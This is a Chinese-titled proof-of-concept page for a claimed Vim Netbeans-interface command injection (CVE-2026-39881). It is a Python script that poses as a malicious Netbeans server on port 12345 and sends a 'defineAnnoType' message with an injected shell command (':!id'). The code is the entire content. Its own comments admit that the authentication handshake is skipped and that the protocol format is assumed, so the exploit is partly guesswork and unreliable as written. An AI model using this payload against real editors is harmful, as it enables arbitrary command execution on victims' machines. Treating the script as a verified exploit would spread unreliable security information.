CVE-2026-39881 Vim Netbeans接口命令注入漏洞

# Proof of Concept for CVE-2026-39881 # This script simulates a malicious Netbeans server. # It sends a crafted 'defineAnnoType' message containing an Ex command. import socket def exploit(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 12345)) server.listen(1) print("[*] Listening for Vim connection on port 12345...") conn, addr = server.accept() print(f"[*] Connection from {addr}") # Vulnerable payload: Injecting an Ex command (e.g., :!touch /tmp/pwned) # The vulnerability allows arbitrary Ex commands via unsanitized strings. # Protocol format usually involves specific commands. # Here we simulate sending the malicious string within the message. # Note: Actual Netbeans protocol requires specific authentication handshake first (AUTH password). # Assuming default or insecure configuration for demonstration. payload = "0:defineAnnoType=1 \"Name\" \"Tooltip\" \"Glyph\" ||:!id\n" conn.send(payload.encode('utf-8')) print("[*] Payload sent.") conn.close() if __name__ == "__main__": exploit()